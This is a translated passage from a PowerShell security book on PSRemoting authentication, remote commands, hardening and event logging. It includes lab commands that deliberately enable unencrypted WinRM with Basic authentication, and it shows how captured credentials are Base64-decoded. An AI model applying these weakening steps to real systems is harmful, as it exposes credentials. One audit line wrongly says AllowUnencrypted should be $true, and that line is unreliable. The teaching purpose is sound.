在这个例子中,PSSec-PC01是我们要连接的远程主机,使用未加密流量和基本认证进行连接。我们将从管理机器PSSec-PC02连接。

当我们尝试从PSSec-PC02连接到PSSec-PC01(IP 地址为172.29.0.12)时,使用-Authentication Basic参数时,我们会收到一条消息,提示我们需要提供用户名和密码,以便使用基本身份验证:

图 3.18 – 如果使用不安全的身份验证机制,将显示错误消息

图 3.18 – 如果使用不安全的身份验证机制,将显示错误消息

一旦提供了这些凭据,我们仍然无法进行身份验证,并且会收到一条错误消息,指出访问被拒绝。原因是基本身份验证在没有 TLS 保护的情况下是一种不安全的身份验证机制。因此,PSRemoting 不允许在未明确配置的情况下使用这种不安全的身份验证机制连接。

因此,让我们在演示设置中明确配置基本身份验证,知道我们会故意削弱配置。首先,允许PSSec-PC01上的未加密流量:

> winrm set winrm/config/service '@{AllowUnencrypted="true"}'

请记住区分服务客户端配置。由于我们想连接到PSSec-PC01,我们将连接到 WinRM 服务,因此我们正在配置服务

接下来,配置允许基本身份验证:

> winrm set winrm/config/service/auth '@{Basic="true"}'

在对 WinRM 配置进行更改后,重新启动 WinRM 服务以使新配置生效非常重要:

> Restart-Service -Name WinRM

现在,让我们配置PSSec-PC02,以便使用基本身份验证建立与其他设备的未加密连接。

首先,我们必须配置客户端,以便能够初始化未加密的连接:

> winrm set winrm/config/client '@{AllowUnencrypted="true"}'

然后,我们必须确保客户端允许使用基本身份验证建立连接:

> winrm set winrm/config/client/auth '@{Basic="true"}'

最后,重新启动 WinRM 服务以加载新配置:

> Restart-Service -Name WinRM

再次提醒,这种配置会暴露您的设备,并使它们变得脆弱。具体来说,它暴露了您的凭据,可能会被潜在的攻击者拦截连接时的网络流量。这可能允许攻击者未经授权访问您的系统,并可能危及敏感数据或执行恶意操作。

因此,我们仅在测试环境中应用此配置。在生产环境中,重要的是采取适当的安全措施,例如启用加密和使用安全的身份验证协议,以保护您的设备和数据。

一旦我们配置好脆弱的配置,就该使用基本身份验证进行连接了。我在PSSec-PC01上添加了一个名为PSSec的本地用户,接下来将在本示例中使用它。

让我们从PSSec-PC02连接到PSSec-PC01(IP 地址为172.29.0.12),使用-Authentication参数并指定Basic,同时提供PSSec用户的凭据:

> $cred = Get-Credential -Credential "PSSec"
> New-PSSession -ComputerName 172.29.0.12 -Authentication Basic -Credential $cred

正在建立会话。如果我使用 Wireshark 追踪流量,我将看到正在进行的 SOAP 请求。更糟糕的是,我能看到Authorization头部,其中暴露了 Base64 加密的用户名和密码:

图 3.19 – 使用未加密的基本身份验证进行身份验证的 Wireshark 捕获

图 3.19 – 使用未加密的基本身份验证进行身份验证的 Wireshark 捕获

Base64 可以很容易地解密,例如,使用 PowerShell 本身:

图 3.20 – 解密 Base64 加密的凭据

图 3.20 – 解密 Base64 加密的凭据

所以,攻击者很容易发现PSSec用户的密码是PS-SecRockz1234!,并可以通过中间人攻击注入会话,或使用该密码冒充PSSec用户——这是他们攻击整个环境的一个很好的起点。

我希望我能够使基本身份验证和未加密会话的风险更加透明,以便你只在测试环境中尝试此配置——并避免在生产环境中使用。

PowerShell 远程操作与凭据窃取

根据使用的身份验证方法,凭据可能被输入到远程系统中,且这些凭据可能被敌对方窃取。如果你有兴趣了解更多关于凭据窃取及其缓解措施的内容,缓解 Pass-the-Hash (PtH) 攻击与其他凭据窃取白皮书是一个宝贵的资源:www.microsoft.com/en-us/download/details.aspx?id=36036

默认情况下,PSRemoting 不会将凭据保留在目标系统上,这使得 PowerShell 成为一个出色的管理工具。

但如果例如使用带有 CredSSP 的 PSRemoting,凭据会进入远程系统,在那里它们可以被提取并用于冒充身份。

请记住,当使用 CredSSP 作为身份验证机制时,用于身份验证的凭据会被缓存到远程系统中。虽然这对于单点登录很方便,但也使得这些缓存的凭据容易被窃取。如果可以避免,请不要使用 CredSSP 作为身份验证机制。但如果你选择使用 CredSSP,建议启用 Credential Guard 来帮助减轻这一风险。

我们将更加深入地探讨身份验证,以及臭名昭著的 Pass-the-Hash 攻击如何工作,内容可以参考第六章Active Directory – 攻击 与缓解

使用 PowerShell 远程操作执行命令

有时,你可能想要远程运行一个命令,但尚未配置 PSRemoting。一些 cmdlet 提供了内置的远程技术,可以加以利用。

所有提供内置远程技术的命令都有一个共同点:通常,它们都有一个名为-ComputerName的参数,用于指定远程端点。

要获取本地可用命令的列表,这些命令支持远程执行任务,请使用Get-Command -CommandType Cmdlet -ParameterName** **ComputerName命令:

> Get-Command -ParameterName ComputerName
CommandType  Name               Version    Source
-----------  ----               -------    ------
Cmdlet       Connect-PSSession  3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Enter-PSSession    3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Get-PSSession      3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Invoke-Command     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       New-PSSession      3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Receive-Job        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Receive-PSSession  3.0.0.0    Microsoft.PowerShell.Core
Cmdlet       Remove-PSSession   3.0.0.0    Microsoft.PowerShell.Core

请注意,此列表并不完整。

带有-ComputerName参数的 cmdlet 不一定使用 WinRM。有些使用 WMI,许多其他使用 RPC —— 这取决于 cmdlet 的底层技术。

由于每个 cmdlet 都有一个底层协议,它的防火墙配置和服务需要相应地进行配置。这可能意味着较大的管理开销。因此,在远程管理环境时,最好根据需要配置 PSRemoting:使用 WinRM 是防火墙友好且更易于配置和维护的。

不要混淆!

PSRemoting 不应与使用 cmdlet 的-ComputerName参数在远程计算机上执行命令混淆。这是两种不同的方式,具有不同的能力和使用场景。那些使用-ComputerName参数的 cmdlet 依赖于其底层协议,这些协议通常需要单独的防火墙例外规则才能运行。

执行单个命令和脚本块

你可以使用Invoke-Command cmdlet 在远程或本地计算机上执行单个命令整个脚本块

Invoke-Command -ComputerName <Name> -ScriptBlock {<ScriptBlock>}

以下示例显示如何重启PSSec-PC01远程计算机上的打印机后台处理程序,并显示详细输出:

> Invoke-Command -ComputerName PSSec-PC01 -ScriptBlock { Restart-Service -Name Spooler -Verbose }
VERBOSE: Performing the operation "Restart-Service" on target "Print Spooler (Spooler)".

Invoke-Command是运行本地脚本和命令到远程计算机的一个很好的选择。

如果你不想将相同的脚本复制到远程机器上,可以使用Invoke-Command-FilePath参数来在远程系统上运行本地脚本

> Invoke-Command -ComputerName PSSec-PC01 -FilePath c:\tmp\test.ps1

在使用-FilePath参数和Invoke-Command时,重要的是要记住,脚本所需的任何依赖项(如其他脚本或命令)也必须存在于远程系统上,否则脚本将无法按预期运行。

你还可以在多个系统上执行命令 – 只需在-ComputerName参数中指定你希望执行命令或脚本的所有远程系统。以下命令会重启PSSec-PC01PSSec-PC02上的打印机后台处理程序:

> Invoke-Command -ComputerName PSSec-PC01,PSSec-PC02 {Restart-Service -Name Spooler}

请查看官方 PowerShell 文档,了解Invoke-Command所提供的所有选项:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command

使用 PowerShell 会话

-Session参数表示 cmdlet 或函数支持 PSRemoting 中的会话。

要查找所有支持-Session参数的本地可用命令,可以使用Get-Command -ParameterName** **session命令:

图 3.21 – 提供会话参数的所有命令

图 3.21 – 提供会话参数的所有命令

所有提供-Session参数的本地命令都会显示。

交互式会话

通过利用Enter-PSSession命令,你可以启动一个交互式会话。一旦会话建立,你可以在远程系统的 shell 上进行操作:

图 3.22 – 进入 PowerShell 会话,执行命令并退出会话

图 3.22 – 进入 PowerShell 会话,执行命令并退出会话

一旦工作完成,使用Exit-PSSession来关闭会话和远程连接。

持久会话

New-PSSession cmdlet 可以用来建立一个持久会话。

如前所述,我们再次使用Get-Credential将我们的凭证作为安全字符串存储在$****cred变量中。

使用以下命令,我们为PSSec-PC01PSSec-PC01远程计算机创建两个会话来执行命令:

$sessions = New-PSSession -ComputerName PSSec-PC01, PSSec-PC02 -Credential $cred

要显示所有活动的会话,你可以使用Get-PSSession命令:

图 3.23 – 创建持久会话并显示它们

图 3.23 – 创建持久会话并显示它们

现在,你可以使用$sessions变量,在你指定的所有远程计算机会话中运行命令。

一个常见的使用案例是检查所有远程计算机是否都应用了所有安全更新。在这种情况下,我们要检查是否所有远程计算机都安装了KB5023773热修复程序。我们也不希望在找不到热修复程序时显示任何错误信息,因此我们将在代码片段中使用-ErrorAction SilentlyContinue参数:

Invoke-Command –Session $sessions -ScriptBlock { Get-Hotfix -Id 'KB5023773' -ErrorAction SilentlyContinue }

以下是我们运行该命令后的输出:

图 3.24 – 在所有指定的会话中运行命令

图 3.24 – 在所有指定的会话中运行命令

结果表明,热修复程序仅安装在PSSec-PC01上,而第二台计算机PSSec-02上没有安装。

要执行此操作并安装缺失的更新,我们可以直接在会话中发送更多命令,或者可以通过指定会话 ID 交互式地进入会话——即Enter-PSSession -****Id 2

图 3.25 – 进入持久会话,运行命令并再次退出

图 3.25 – 进入持久会话,运行命令并再次退出

现在我们已经进入会话,可以运行Get-WindowsUpdate命令来安装缺失的更新。请注意,这个命令默认不可用,需要你安装PSWindowsUpdate模块:

Get-WindowsUpdate -Install -KBArticleID 'KB5023773'

在我们的命令执行完毕后,我们可以使用Exit-PSSession退出会话,这只会使我们与会话断开连接,但会话仍然保持开启。

注意

如果使用交互式会话,所有执行的模块(如 PSWindowsUpdate)需要安装在远程系统上。如果使用 Invoke-Command 在持久会话中运行命令,则只需要在运行命令的计算机上安装该模块:

Invoke-Command – Session $sessions -ScriptBlock { Get-WindowsUpdate -Install -****KBArticleID ‘KB5023773’}

如果我们过一段时间后检查 KB5023773,我们会看到更新已经安装:

图 3.26 – 更新成功安装

图 3.26 – 更新成功安装

一旦我们完成工作且不再需要会话时,可以使用 Remove-PSSession 命令将其移除:

  • 在这里,我们可以使用之前指定的 $sessions 变量:

    Remove-PSSession -Session $sessions
    
  • 或者,我们可以通过使用 -****id 参数来移除单个会话:

    Remove-PSSession -id 2
    

移除一个或所有会话后,可以使用 Get-PSSession 来验证这一点:

图 3.27 – 移除所有持久会话

图 3.27 – 移除所有持久会话

使用 PSRemoting 执行命令可以极大简化日常管理工作。现在,您已经掌握了基本知识,可以将其与您的 PowerShell 脚本知识相结合。您将解决哪些问题,并自动化哪些任务?

最佳实践

为了确保在使用 PSRemoting 时的最佳安全性和性能,遵循产品强制执行的最佳实践至关重要。这些实践旨在减少安全漏洞的风险,并确保远程管理任务顺利运行。

认证

  • 如果可能,仅使用 Kerberos 或 NTLM 认证。

  • 尽量避免使用 CredSSP 和基本身份验证。

  • 最佳情况下,限制使用除了 Kerberos/NTLM 之外的所有其他认证机制。

  • SSH 远程访问 – 配置公钥认证并保护私钥。

限制连接

  • 通过防火墙限制来自管理子网的连接(如果可能,使用硬件和软件)。

PSRemoting 的默认防火墙策略根据网络配置文件有所不同。在 工作组私有 网络配置文件中,PSRemoting 默认对所有人开放(假设他们拥有有效凭证)。在 公共 配置文件中,PSRemoting 默认拒绝监听该适配器。如果强制启用,网络规则将限制访问仅限于同一网络子网的系统。

限制会话

  • 使用受限语言和 JEA。

  • 你将在第十章,“语言模式与足够的管理(JEA)”中深入了解 JEA、受限语言、会话安全性和 SDDLs。

审计不安全设置

  • 使用 WinRM 组策略在所有受管理系统上强制执行安全的 PSRemoting 设置,包括加密和身份验证要求。

  • Get-Item WSMan:\localhost\Client\AllowUnencrypted:此设置应设置为$true

  • 定期审计不安全的 WinRM 设置,以确保符合安全政策:

    Get-Item WSMan:\localhost\client\AllowUnencrypted
    
    Get-Item wsman:\localhost\service\AllowUnencrypted
    
    Get-Item wsman:\localhost\client\auth\Basic
    
    Get-Item wsman:\localhost\service\auth\Basic
    
  • 最终,使用所需状态配置DSC)来审计并应用你的设置。

以及前一章中提到的所有其他缓解方法,特别是 以下内容

  • 启用日志记录和转录,并监控事件日志。你可以在第四章,“检测 - 审计与监控”中阅读更多相关内容。

  • 消除不必要的本地和域管理员。

  • 启用并强制执行脚本签名。你将在第十一章,“AppLocker、应用控制和代码签名”中进一步了解脚本签名。

  • 配置DSC来加固你的系统并控制系统配置。

PSRemoting 是一种高效管理系统的好方法。当然,它的安全性取决于你的配置。如果配置得当,通过 PSRemoting 进行管理比交互式登录更安全。

摘要

阅读完本章后,你应该熟悉如何使用 PSRemoting 远程使用 PowerShell。你学习了 PowerShell 中用于建立远程连接的选项,这使你不仅能够管理 Windows 机器,还能管理其他操作系统,如 macOS 和 Linux。

你还学习了什么是端点,并且能够创建基本的自定义端点。你将在第十章,“语言模式与足够的管理(JEA)”中进一步加强这项能力,但你已经掌握了基础知识。

然后,你学习了很多可以使用的身份验证协议,还了解了使用这些协议时的安全考虑。你还应该意识到,如果使用弱身份验证协议,攻击者能够轻易地获得解密后的凭据。

你现在应该能够手动和集中配置 PSRemoting,这有助于你在生产环境中设置初始的 PSRemoting 配置。

最后但同样重要的是,你学习了如何使用 PSRemoting 执行命令,这使得你不仅可以在一个设备上运行一个命令,还可以自动化繁琐的管理任务。

在使用 PowerShell 时——无论是远程还是本地——审计和监控是非常重要的课题。使用转录和事件日志有助于蓝队发现对手并保护其环境。

因此,现在你已经熟悉了 PSRemoting,我们将在下一章讨论 PowerShell 中的检测和日志记录。

进一步阅读

如果你想进一步探索本章提到的一些话题,可以查看这些资源。

认证

CIM

DCOM

OMI

其他 有用资源

PowerShell 远程管理

WMI:

)

)

)

WS-Man:

)

你还可以在 GitHub 仓库中找到本章提到的所有链接,链接位于第三章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter03/Links.md

第四章:检测——审计与监控

尽管组织已经在努力加强其环境的安全性,但只有少数组织意识到,审计和监控是确保环境安全时最重要的两项工作。

多年来,在微软工作时,我一直倡导保护检测响应的策略。大多数公司只试图保护他们的设备,但他们仅停留在这一层面。要做到检测响应,不仅需要一个有效的安全运营中心SOC),还需要基础设施和资源。

这些人力和资源需要资金——这也是许多公司一开始不愿意投入的预算,除非他们已经遭遇了攻击。

在与客户合作时,我只见过少数环境中拥有有效的 SOC,并且具备部署安全信息与事件管理系统SIEM)的基础设施。当我离开这些客户时,我很高兴地看到大多数客户开始重新审视他们的安全策略,并改进了安全性、监控和检测。

然而,我也遇到过一些客户,在我第一次接触他们时,他们已经遭到攻击。这些客户曾经没有预算,也没有员工来进行检测,但一旦被攻击,他们就立刻有了改善的预算。

多年来,我了解到,问题不在于组织是否会被黑客攻击,而是何时会被攻击,以及攻击者在环境中逗留多长时间而不被察觉。如果他们最终被发现的话。

因此,我建议我遇到的每一位 IT 决策者都要假设已经遭到入侵,并保护好重要的资产。

多年来,我看到越来越多的组织实际上已经建立了运营中的安全运营中心(SOC),这让我感到非常高兴。但不幸的是——尤其是在中小型企业中——大多数组织要么没有监控机制,要么刚刚开始这方面的工作。

PowerShell 在攻击中的使用多次被媒体报道。勒索病毒通过发送恶意邮件来分发,邮件在后台启动 PowerShell 执行载荷,这是一种无文件攻击,恶意软件无需在客户端下载,而是直接在内存中运行,甚至合法的系统工具也被对手滥用来执行攻击(也被称为依赖本地资源攻击LOLbins)。

是的,攻击者喜欢利用他们在系统中找到的东西。然而,如果组织不仅采取了适当的缓解措施,还实施了正确的检测方式,那么这将使对手更难发起成功的攻击并保持隐匿。

许多对手在攻击中使用的工具几乎没有任何透明度,因此防御者(也就是蓝队)很难检测和分析这样的攻击。

与此相反,PowerShell 提供了如此强大的日志记录功能,使得分析和检测通过它发起的攻击变得非常容易。因此,如果你是蓝队成员,并且注意到自己遭遇了基于 PowerShell 的攻击,那么你算是走运了(就算你的基础设施遭到攻击,也算是走运吧)!这使得你更容易弄清楚发生了什么。

拥有一个广泛的(不仅限于)PowerShell 日志记录基础设施,可以帮助你的 SOC 团队识别攻击者并了解对手执行了哪些命令和代码。这也有助于提高你的检测能力和安全控制。

在本章中,你将学习使用 PowerShell 进行安全监控的基础知识,这将帮助你开始进行检测或改进检测。在本章中,你将对以下主题有更深入的了解:

  • 配置 PowerShell 事件日志

  • PowerShell 模块日志记录

  • PowerShell 脚本块日志记录

  • 保护的事件日志记录

  • PowerShell 转录

  • 分析事件日志

  • 开始使用日志记录

  • 最重要的与 PowerShell 相关的事件日志和事件 ID

技术要求

为了最大限度地发挥本章的作用,请确保你具备以下内容:

  • PowerShell 7.3 及以上版本

  • 第四章的 GitHub 仓库访问链接:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter04

配置 PowerShell 事件日志

实施强大的 PowerShell 审计机制,帮助你监控、检测和防范潜在威胁,是确保 PowerShell 安全实践有效性的关键步骤。通过利用 PowerShell 日志记录,你可以捕捉到系统上 PowerShell 活动的详细信息,这对于检测和调查安全事件至关重要。PowerShell 日志记录可以帮助你识别可疑活动,例如恶意命令的执行或关键系统设置的修改。

在本节中,我们将讨论你可以启用的不同类型的 PowerShell 日志记录,包括 PowerShell 模块日志记录、PowerShell 脚本块日志记录、保护的事件日志记录和 PowerShell 转录。我们还将探讨如何配置这些日志记录功能,以满足你所在组织的具体安全需求。

PowerShell 模块日志记录

PowerShell 模块日志记录在 PowerShell 3.0 中新增。此功能提供对系统上执行的所有 PowerShell 命令的广泛日志记录。如果启用了模块日志记录,管道执行事件将生成并写入 Microsoft-Windows-Powershell/Operational 事件日志,事件 ID 为 4103

如何配置模块日志记录

您可以选择仅在当前会话中为某个模块启用模块日志记录,或者将其配置为永久开启。

仅在单个会话中启用它只有在您想要排查某个特定模块的行为时才有意义。如果您想要检测对手在您的基础设施中运行的命令,那么开启模块日志记录并使其保持常开是有意义的。

要仅在当前会话中为某个特定模块启用模块日志记录,您需要先导入该模块。在此示例中,我们将使用EventList模块:

> Import-Module EventList
> (Get-Module EventList).LogPipelineExecutionDetails = $true
> (Get-Module EventList).LogPipelineExecutionDetails
True

当然,您可以将模块名称EventList替换为任何您希望记录管道执行详细信息的模块名称:

Import-Module <Module-Name>
(Get-Module <Module-Name>).LogPipelineExecutionDetails = $true

如果您想要监控一个受管理的环境,您不希望在每台主机上手动启用 PowerShell 模块日志记录。在这种情况下,您可以使用组策略来启用模块日志记录。

创建一个新的组策略对象GPO)。由于 Windows PowerShell 和 PowerShell Core 被设计为共存并可以单独配置,因此取决于您想要配置哪个 PowerShell 版本:

  • 要配置 Windows PowerShell,请导航至计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell

  • 要配置 PowerShell Core,请导航至计算机配置 | **管理模板 | **PowerShell Core

我的 PowerShell Core .admx 模板在哪里?

如果您尚未将.admx模板导入到您的组策略中来配置 PowerShell Core,请参见第一章开始使用 PowerShell

选择并编辑启用模块日志记录策略。此时将打开一个窗口以配置模块日志记录:

图 4.1 – 通过组策略配置 Windows PowerShell 的模块日志记录

图 4.1 – 通过组策略配置 Windows PowerShell 的模块日志记录

对于 PowerShell Core,配置窗口几乎是一样的,唯一的不同是使用 Windows PowerShell 策略设置选项。如果选中此选项,PowerShell Core 将依赖现有的 Windows PowerShell 配置。

图 4.2 – 通过组策略配置 PowerShell Core 的模块日志记录

图 4.2 – 通过组策略配置 PowerShell Core 的模块日志记录

如果您只想使用一个 GPO 来配置模块日志记录,请启用使用 Windows PowerShell 策略设置。接下来,根据您的配置,在 Windows PowerShell 或 PowerShell Core 模块日志记录 GPO 中,进入模块名称,然后点击显示…按钮来配置需要开启模块日志记录的模块。此时将打开一个新窗口。

图 4.3 – 配置通配符 (*) 来记录所有模块

图 4.3 – 配置通配符 (*) 来记录所有模块

现在,你可以为单个模块配置启用模块日志记录,但对于安全监控来说,监控所有模块日志记录事件更有意义——无论执行的是哪个模块。

你可以通过配置通配符(*)作为模块名称来实现此操作。确认两次点击确定并退出 GPO 编辑器,使更改生效。

当然,你也可以通过指定模块名称作为值,单独为某个实例添加模块日志记录,而不是监控所有实例。不过,我建议记录所有 PowerShell 活动(*****),这对于防止攻击者导入自定义 PowerShell 模块特别有用。

由此配置生成的所有事件可以在 Microsoft Windows PowerShell 操作事件日志中找到(Microsoft-Windows-Powershell/Operational)。

PowerShell 脚本块日志记录

脚本块是由表达式和命令组成的集合,这些表达式和命令被组合在一起并作为一个单位执行。当然,单个命令也可以作为脚本块执行。

许多命令支持 -ScriptBlock 参数,例如 Invoke-Command 命令,你可以使用它来运行整个脚本块,本地或远程执行:

> Invoke-Command -ComputerName PSSec-PC01 -ScriptBlock {Restart-Service -Name Spooler -Verbose}
VERBOSE: Performing the operation "Restart-Service" on target "Print Spooler (Spooler)".

需要注意的是,所有在 PowerShell 中执行的操作都被视为脚本块,如果启用了脚本块日志记录,它们将被记录——无论是否使用 -****ScriptBlock 参数。

大多数情况下,企业和组织并不关心日志记录和事件日志分析,除非发生安全事件。然而,到了那时,已经为时过晚,无法事后启用日志记录。因此,PowerShell 团队决定默认记录所有安全相关的脚本块。

从 PowerShell 5 开始,默认启用脚本块日志记录的基础版本——只有常用于恶意攻击的脚本技术会被写入 Microsoft-Windows-Powershell/Operational 事件日志。

这种基础版本的脚本块日志记录并不能替代完整的脚本块日志记录;它应该仅仅作为最后的手段,如果在攻击发生时未启用日志记录时使用。

如果你想保护环境并检测恶意活动,仍然应该考虑开启完整的脚本 块日志记录

此外,在配置脚本块日志记录时,还有一个更详细的选项——脚本块 调用日志记录

默认情况下,只有在首次使用时,脚本块才会被记录。配置脚本块调用日志记录后,每次调用脚本块以及脚本启动或停止时,都会生成事件。

启用脚本块调用日志记录可能会生成大量事件,这可能会淹没日志,并将其他事件中的有用安全数据滚出。启用脚本块调用日志记录时要小心,因为会生成大量事件——通常情况下,你在事件分析时不需要它。

如何配置脚本块日志记录

配置脚本块日志记录有多种方法——手动配置以及集中管理的方式。让我们看看需要配置什么才能记录您环境中执行的所有代码。

要手动启用脚本块日志记录,您可以编辑注册表。要更改的设置位于以下注册表路径中:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

使用EnableScriptBlockLoggingREG_DWORD)注册表项,可以配置启用脚本块日志记录:

  • 启用:将值设置为1以启用它

  • 禁用:将值设置为0以禁用它

如果启用了脚本块日志记录,您将在事件 ID 4104 下找到所有执行的代码。

使用EnableScriptBlockInvocationLoggingREG_DWORD)注册表项,可以配置启用脚本块调用日志记录(事件 ID 41054106):

  • 启用:将值设置为1以启用它

  • 禁用:将值设置为0以禁用它

如果启用了脚本块日志记录以及脚本块调用日志记录,将会生成事件 ID 41054106

如果启用了脚本块调用日志记录,则会生成大量噪音,日志文件的大小会增加。因此,应该重新配置最大日志大小(请参见增加日志大小部分)。对于一般的安全监控,您不需要配置详细的脚本块日志记录。

您可以通过在提升的 PowerShell 控制台中运行以下命令手动配置脚本块日志记录:

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Force

第一个命令会在注册表项不存在时创建所有注册表键,第二个命令启用脚本块日志记录。

启用ScriptBlockLogging时,使用上述命令,ScriptBlockLogging将同时为 32 位和 64 位应用程序启用。您可以通过以下方式验证两个设置是否已配置:

  • HKLM:\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

  • HKLM:\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

在受管环境中,将机器集中管理是有意义的。当然,这可以通过 PowerShell 和/或Desired State ConfigurationDSC)来完成,但也可以通过组策略来完成。

创建一个新的 GPO。根据您要配置的 PowerShell 版本,导航到以下任一项:

  • 计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell 用于 Windows PowerShell

  • 计算机配置 | **管理模板 | **PowerShell Core 用于 PowerShell Core

选择并编辑启用 PowerShell 脚本块日志记录策略。会打开一个窗口来配置模块日志记录。

如果您决定配置日志记录脚本块调用开始/停止事件选项,将会生成更多的事件,并且会产生大量噪音。根据您的使用案例,这个选项可能仍然是有意义的,但如果您刚开始进行安全监控,建议不要启用此选项。

增加脚本块调用日志记录的日志文件大小

如果启用了脚本块调用日志记录,并且使用日志记录脚本块调用开始/停止事件选项,日志文件的大小会增加,最大大小应重新配置。

只有在启用日志记录脚本块调用开始/停止事件选项时,才会生成事件 ID 41054106

在我们的示例中,我们将配置日志记录脚本块调用开始/停止事件以避免噪音;因此,我们将保持该复选框未选中:

图 4.4 – 为 Windows PowerShell 启用 PowerShell 脚本块日志记录

图 4.4 – 为 Windows PowerShell 启用 PowerShell 脚本块日志记录

在 PowerShell Core 策略中,您将会——与 PowerShell 模块日志记录策略及其他一些策略一样——找到将当前 Windows PowerShell 策略设置同时用于 PowerShell Core 的选项。

图 4.5 – 为 PowerShell Core 启用 PowerShell 脚本块日志记录

图 4.5 – 为 PowerShell Core 启用 PowerShell 脚本块日志记录

由此配置生成的所有事件可以在 Microsoft Windows PowerShell 操作事件日志中找到 (Microsoft-Windows-Powershell/Operational),或者在 PowerShell Core 中,可以在 PowerShell Core 事件日志中找到 (PowerShellCore/Operational)。

保护事件日志记录

事件日志记录是一个敏感话题。通常,像密码这样的敏感信息会被暴露并写入事件日志。

敏感信息在对手手中如同黄金一样珍贵,尤其是当对方可以访问此类系统时,因此,为了应对这一问题,从 Windows 10 和 PowerShell 版本 5 开始,微软引入了保护事件日志记录。

保护事件日志记录使用互联网工程任务组(IETF)密码消息语法CMS)标准加密数据,该标准依赖于公钥密码学。这意味着公钥会部署在所有需要支持保护事件日志记录的系统上。然后,使用公钥对事件日志数据进行加密,在转发到中央日志收集服务器之前。

在这台机器上,使用高度敏感的私钥解密数据,然后将数据插入 SIEM。这台机器是敏感的,因此需要特别保护。

保护事件日志记录默认是禁用的,目前仅能与 PowerShell 事件日志一起使用。

启用保护事件日志记录

要启用受保护的事件日志记录,可以部署一个base64 编码的 X.509证书或其他选项(例如,通过公共密钥基础设施(PKI)部署证书并提供指纹,或提供指向本地或文件共享托管证书的路径)。在我们的示例中,我们将使用base64 编码的 X.509证书。

以下是证书要求:

  • 证书还必须包含“文档加密” 增强密钥使用EKU),其 OID 号为(1.3.6.1.4.1.311.80.1)。

  • 证书属性必须包括“数据加密”或“密钥加密”密钥使用。

这里有一篇很棒的 SANS 博客文章,您可以查看如何检查证书的属性:www.sans.org/blog/powershell-protect-cmsmessage-example-code/

受保护的事件日志记录利用IETF CMS来保护事件日志内容。因此,您还可以参考Protect-CMSMessageUnprotect-CMSMessage cmdlet 的文档页面,了解有关使用 CMS 加密和解密的更多信息:

请注意,您计划部署的证书文件不能包含私钥。获得证书后,您可以手动启用它,或使用组策略启用它。

在博客文章PowerShell the blue team中,PowerShell 团队为您提供了Enable-ProtectedEventLogging函数,您可以使用该函数通过 PowerShell 启用受保护的事件日志记录:devblogs.microsoft.com/powershell/powershell-the-blue-team/#protected-event-logging

要使用此脚本,请将证书保存在$cert变量中,您将在第二个命令中使用该变量将公钥证书传递给Enable-ProtectedEventLogging函数,从而在本地系统上启用受保护的事件日志记录:

> $cert = Get-Content C:\tmp\PEL_certificate.cer –Raw
> Enable-ProtectedEventLogging –Certificate $cert

您还可以通过组策略启用受保护的事件日志记录。创建一个新的 GPO 或重复使用现有的 GPO,然后导航到计算机配置 | 策略 | 管理模板 | Windows 组件 | 事件日志记录

打开启用受保护事件 日志记录策略。

图 4.6 – 启用受保护的事件日志记录

图 4.6 – 启用受保护的事件日志记录

启用受保护的事件日志记录设置为启用,提供您的证书,并点击确定确认。

在安全且受保护的系统上使用Unprotect-CmsMessage cmdlet 解密数据,然后将其存储到你的 SIEM 中,前提是机器上已安装了适当的解密证书(即包含私钥的证书)。

要在将数据存储到 SIEM 中之前解密数据,请在安全且受保护的系统上使用Unprotect-CmsMessage cmdlet,前提是该系统上已安装包含私钥的适当解密证书:

> Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104 | Unprotect-CmsMessage

在这个示例中,所有来自操作 PowerShell 日志的事件 ID 4104的事件将被解密,前提是私钥存在。

还可以记录会话中执行了哪些命令以及显示了哪些输出。这个选项叫做记录,我们将在下一节中详细讨论。

PowerShell 记录

自 PowerShell 版本 1.0 以来,PowerShell 记录就作为Microsoft.PowerShell.Host模块的一部分提供。记录是监控 PowerShell 会话中发生事件的好方法。

如果启动了 PowerShell 记录,则所有执行的 PowerShell 命令及其输出都会被记录并保存到指定的文件夹中。如果没有另行指定,默认输出文件夹是当前用户的我的文档文件夹(%userprofile%\Documents)。

以下截图展示了此类记录的一个示例。

图 4.7 – PowerShell 记录的截图

图 4.7 – PowerShell 记录的截图

.txt文件的名称以PowerShell_transcript开头,后跟computername、一个随机字符串和时间戳。

这是一个典型的 PowerShell 记录文件名示例,该记录是在PSSec-PC01上启动的 – PowerShell_transcript.PSSEC-PC01.MUxdLMnA.20210320152800.txt

如何启动记录

启用记录的方式有几种。然而,记录 PowerShell 记录的最简单方法是直接在当前会话中输入Start-Transcript命令并按Enter。在这种情况下,只有在此本地会话中执行的命令才会被捕获。

直接运行Start-Transcript cmdlet 时,最常用的参数是-OutputDirectory-Append-NoClobber-IncludeInvocationHeader

  • -Append: 新的记录将被添加到现有文件中。

  • -IncludeInvocationHeader: 记录命令执行的时间戳,并在命令之间添加分隔符,以便通过自动化工具更容易解析记录。

  • -NoClobber: 该记录不会覆盖现有文件。通常,如果定义位置中已存在记录文件(例如,定义的文件与现有文件同名,或者文件名是通过-Path-LiteralPath参数配置的),Start-Transcript会覆盖该文件且不会发出警告。

  • -OutputDirectory:使用此参数,你可以配置存储转录文件的路径。

  • -UseMinimalHeader:此参数在PowerShell 版本 6.2中添加,确保仅添加简短的头部,而不是详细的头部。

